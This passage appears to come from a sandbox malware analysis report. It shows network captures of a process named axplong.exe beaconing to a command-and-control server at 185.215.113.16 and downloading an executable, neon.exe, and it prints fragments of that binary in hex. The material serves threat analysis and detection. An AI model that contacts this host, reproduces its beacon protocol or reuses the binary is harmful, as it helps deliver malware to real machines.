Sep 26, 2024 21:33:58.040296078 CEST	80	49765	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:58.773359060 CEST	80	49765	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:58.773569107 CEST	49765	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:58.776662111 CEST	49765	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:58.781552076 CEST	80	49765	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:59.012445927 CEST	80	49765	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:59.012701988 CEST	49765	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:59.124993086 CEST	49765	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:59.125417948 CEST	49766	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:59.130240917 CEST	80	49765	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:59.130295992 CEST	49765	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:59.130347013 CEST	80	49766	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:59.130412102 CEST	49766	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:59.132723093 CEST	49766	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:59.137653112 CEST	80	49766	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:59.821403027 CEST	80	49766	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:59.821471930 CEST	49766	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:59.822328091 CEST	49766	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:59.827171087 CEST	80	49766	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:00.045078039 CEST	80	49766	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:00.045219898 CEST	49766	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:00.154474974 CEST	49766	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:00.154894114 CEST	49767	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:00.159847021 CEST	80	49767	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:00.159950018 CEST	49767	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:00.160012007 CEST	80	49766	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:00.160047054 CEST	49767	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:00.160070896 CEST	49766	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:00.164964914 CEST	80	49767	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:00.871591091 CEST	80	49767	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:00.871716022 CEST	49767	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:00.872767925 CEST	49767	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:00.877506971 CEST	80	49767	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:01.101229906 CEST	80	49767	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:01.101447105 CEST	49767	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:01.220451117 CEST	49767	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:01.221282959 CEST	49768	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:01.225469112 CEST	80	49767	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:01.225593090 CEST	49767	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:01.226037025 CEST	80	49768	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:01.226111889 CEST	49768	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:01.231060982 CEST	49768	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:01.235842943 CEST	80	49768	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:01.946422100 CEST	80	49768	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:01.946643114 CEST	49768	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:01.947397947 CEST	49768	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:01.953135014 CEST	80	49768	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:02.187207937 CEST	80	49768	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:02.187371016 CEST	49768	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:02.297215939 CEST	49768	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:02.297553062 CEST	49769	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:02.303237915 CEST	80	49769	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:02.303404093 CEST	49769	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:02.303646088 CEST	49769	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:02.304138899 CEST	80	49768	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:02.304205894 CEST	49768	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:02.309447050 CEST	80	49769	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:03.031141043 CEST	80	49769	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:03.031212091 CEST	49769	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:03.048775911 CEST	49769	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:03.053607941 CEST	80	49769	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:03.278121948 CEST	80	49769	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:03.278234005 CEST	49769	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:03.795600891 CEST	49769	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:03.796026945 CEST	49770	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:03.800965071 CEST	80	49769	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:03.800982952 CEST	80	49770	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:03.801028013 CEST	49769	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:03.801112890 CEST	49770	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:03.801251888 CEST	49770	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:03.806097031 CEST	80	49770	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:04.512315989 CEST	80	49770	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:04.512526989 CEST	49770	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:04.515894890 CEST	49770	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:04.516323090 CEST	49771	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:04.521905899 CEST	80	49771	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:04.522002935 CEST	49771	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:04.522238970 CEST	49771	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:04.522372961 CEST	80	49770	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:04.522442102 CEST	49770	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:04.526998997 CEST	80	49771	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:05.258213043 CEST	80	49771	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:05.258300066 CEST	49771	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.376135111 CEST	49771	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.376466036 CEST	49772	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.381320953 CEST	80	49772	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:05.381390095 CEST	49772	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.381635904 CEST	49772	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.381822109 CEST	80	49771	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:05.381874084 CEST	49771	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.386593103 CEST	80	49772	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:05.407418013 CEST	49772	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.410643101 CEST	49773	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.415635109 CEST	80	49773	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:05.416728020 CEST	49773	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.516239882 CEST	49774	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.521078110 CEST	80	49774	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:05.521251917 CEST	49774	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.521457911 CEST	49774	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:34:05.526240110 CEST	80	49774	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:06.236696005 CEST	80	49774	185.215.113.16	192.168.2.5
Sep 26, 2024 21:34:06.236766100 CEST	49774	80	192.168.2.5	185.215.113.16

HTTP Request Dependency Graph

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:03.054955959 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:03.823292971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:03.852586031 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:04.097734928 CEST	279	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 39 0d 0a 20 3c 63 3e 31 30 30 30 33 35 36 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 32 64 66 39 66 32 66 34 66 64 34 66 37 33 65 62 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 59 <c>1000356001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a72df9f2f4fd4f73eb#<d>0
Sep 26, 2024 21:33:04.106941938 CEST	52	OUT	GET /inc/neon.exe HTTP/1.1 Host: 185.215.113.16
Sep 26, 2024 21:33:04.334700108 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:04 GMT Content-Type: application/octet-stream Content-Length: 3643904 Last-Modified: Thu, 26 Sep 2024 19:28:15 GMT Connection: keep-alive ETag: "66f5b5cf-379a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 80 02 85 16 00 00 00 00 00 00 00 00 f0 00 02 01 0b 02 08 00 00 5c 23 00 00 3c 14 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 37 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 23 00 ac 3a 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd\#< @ 7`@@ #: H.text[# \# `.rsrc:#<^#@@HX"TN-"~PtfL^[1wuBZF!-(E!l\|IIf9HOO_9XBCRn\|kh^rly~`ZB(e_pFjgZ4phHy7P6Q)92y:nFbzW\cl]1w-(6i( Urg@N=q]'d plW!r_Dxq_-<FsQ#ixL+,b"W6h\d0`\>1wlRln(}*hc}
Sep 26, 2024 21:33:04.334724903 CEST	1236	IN	Data Raw: 3a dd f7 d6 61 0f fd cb c7 62 a2 12 39 49 85 2c 06 ef 2e 1d 91 f2 c8 50 d2 cd 82 73 7a 6f 87 7c 6a ed 34 4a 85 52 af dd bd 03 9f 8e 4a aa ae 19 22 e7 ba fe bf c9 eb 46 15 a6 04 92 8c 8a 50 58 da 26 a6 4a 14 3b a6 b2 3f 50 5e 8d 53 39 05 28 1f 68 Data Ascii: :ab9I,.Pszo\|j4JRJ"FPX&J;?P^S9(hP4NQ2G$cAoj]s#9RhI%c"+$cjPL5X<r-_sZ_IILg<vf{KUs,j>P[8-9X$uH4$XM9(w
Sep 26, 2024 21:33:04.334738970 CEST	1236	IN	Data Raw: 00 00 01 a2 14 14 16 17 28 4b 00 00 0a 00 2a 1e 02 28 37 00 00 0a 2a 76 00 72 da 0a 00 70 28 85 00 00 0a 8c 14 00 00 01 03 28 86 00 00 0a 28 87 00 00 0a 00 2a 4e 02 28 37 00 00 0a 00 02 73 88 00 00 0a 7d 27 00 00 04 2a ee 00 02 03 7d 24 00 00 04 Data Ascii: (K(7vrp(((N(7s}'}$}%}&}({(rp{$(oO.sa&{-+"}-&{.+"}.&{/+"}/(7(f(h(j&{0
Sep 26, 2024 21:33:04.334753990 CEST	372	IN	Data Raw: 03 2c 0c 02 03 7b 8c 00 00 04 7d 8c 00 00 04 2a 62 02 28 37 00 00 0a 00 02 73 37 00 00 0a 28 38 00 00 0a 7d 8e 00 00 04 2a 82 00 02 03 28 38 00 00 0a 20 f7 00 00 00 20 d3 00 00 00 1f 3b 28 0b 01 00 0a 28 4e 01 00 06 00 2a 26 02 7b c6 00 00 04 2b Data Ascii: ,{}b(7s7(8}(8 ;((N&{+6(8}N(7s}&{+6(8}6(T(sV}(W sX(Yr,poZ0O @%m(
Sep 26, 2024 21:33:04.334769011 CEST	1236	IN	Data Raw: 11 00 7e 03 00 00 04 6f 26 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 27 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 28 00 00 0a 0a 2b 00 06 2a 1b 30 05 00 ff 00 00 00 06 Data Ascii: ~o&+0~o'+0~o(+0,o)+9~,2~(o+,rpG(,s-z+s.~(*o/(+tuD%-&+%(1
Sep 26, 2024 21:33:04.334781885 CEST	1236	IN	Data Raw: 0a 0c 02 7b 0e 00 00 04 6f 49 00 00 0a 16 6f 4a 00 00 0a 6f 4c 00 00 0a 16 6f 50 00 00 0a 1a 6f 51 00 00 0a 28 52 00 00 0a 0d 72 77 01 00 70 09 72 d5 01 00 70 28 53 00 00 0a 13 0e 11 0e 73 54 00 00 0a 13 15 02 28 34 00 00 06 14 72 23 02 00 70 17 Data Ascii: {oIoJoLoPoQ(Rrwprp(SsT(4r#p%sU\(K{++,ur5p\|(V(F{,,,{&+{&r5p&(V(F(4rp%rp(K
Sep 26, 2024 21:33:04.334795952 CEST	1236	IN	Data Raw: 00 0a 17 8c 55 00 00 01 16 28 63 00 00 0a 13 37 11 37 39 4a 01 00 00 11 28 13 3a 12 3a 28 64 00 00 0a 2d 0c 12 3b fe 15 0a 00 00 1b 11 3b 2b 0f 12 3a 28 65 00 00 0a 15 fe 01 73 66 00 00 0a 13 3b 12 3b 28 67 00 00 0a 13 39 11 39 2c 09 12 28 16 28 Data Ascii: U(c779J(::(d-;;+:(esf;;(g99,((^)::(d-;;+:(esf;;(g<<,)(^{oIoJoh8{oIoJoL8{oIoJoLoioj8'V
Sep 26, 2024 21:33:04.334810972 CEST	672	IN	Data Raw: 13 06 02 7b 0e 00 00 04 6f 49 00 00 0a 16 6f 4a 00 00 0a 6f 4c 00 00 0a 16 6f 50 00 00 0a 17 6f 51 00 00 0a 28 52 00 00 0a 0a 02 7b 0e 00 00 04 6f 49 00 00 0a 16 6f 4a 00 00 0a 6f 4c 00 00 0a 16 6f 50 00 00 0a 18 6f 51 00 00 0a 28 52 00 00 0a 0b Data Ascii: {oIoJoLoPoQ(R{oIoJoLoPoQ(R{oIoJoLoPoQ(R{oIoJoLoPoQ(Rrwprp(SsT(4r#p%sU\(K{+
Sep 26, 2024 21:33:04.335091114 CEST	1236	IN	Data Raw: 16 28 5f 00 00 0a 16 fe 01 60 11 08 72 66 07 00 70 16 28 5f 00 00 0a 16 fe 01 60 13 2f 11 2f 2c 1b 72 60 07 00 70 13 09 72 60 07 00 70 13 0a 12 28 15 28 5e 00 00 0a 38 c5 00 00 00 00 11 08 72 60 07 00 70 11 24 6f 60 00 00 0a 13 25 11 08 16 11 25 Data Ascii: (_`rfp(_`//,r`pr`p((^8r`p$o`%%oa%ob%oa((^0{oIoJoLoP0oQ(8(]11,>{oIoJoLoP0oQ(c22,('(^+
Sep 26, 2024 21:33:04.335124969 CEST	1236	IN	Data Raw: 0a 13 41 02 7b 0d 00 00 04 6f 49 00 00 0a 16 6f 4a 00 00 0a 6f 4c 00 00 0a 11 41 02 7b 0d 00 00 04 6f 49 00 00 0a 16 6f 4a 00 00 0a 6f 4c 00 00 0a 6f 69 00 00 0a 6f 6a 00 00 0a 00 11 41 16 11 27 17 d6 8c 56 00 00 01 6f 6b 00 00 0a 00 11 41 17 11 Data Ascii: A{oIoJoLA{oIoJoLoiojA'VokA(okAokAokAVokAVokArdpokArdpok{oIoJoLoP'oQ(8(]BB9<{
Sep 26, 2024 21:33:04.335140944 CEST	1236	IN	Data Raw: 00 00 01 28 2a 00 00 0a 28 76 00 00 0a 74 62 00 00 01 0a 2a 00 13 30 0a 00 60 01 00 00 14 00 00 11 00 73 6e 00 00 0a 0a 06 72 3a 07 00 70 6f 6f 00 00 0a 00 73 70 00 00 0a 0c 08 72 2c 08 00 70 6f 71 00 00 0a 00 08 72 3a 08 00 70 6f 72 00 00 0a 00 Data Ascii: ((vtb0`snr:poospr,poqr:por<osotou&sprJpoqrTpor osotou&spr`poqrjpor osotou&sprvpoqr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:08.394782066 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 30 33 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000356001&unit=246122658369
Sep 26, 2024 21:33:09.123121977 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:09.245335102 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:09.956790924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:10.071518898 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:10.300849915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49718	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:10.421025038 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:11.169722080 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:11.170639038 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:11.407201052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49719	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:11.520617962 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:12.239376068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:12.240130901 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:12.570023060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49721	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:12.948611021 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:13.652652025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
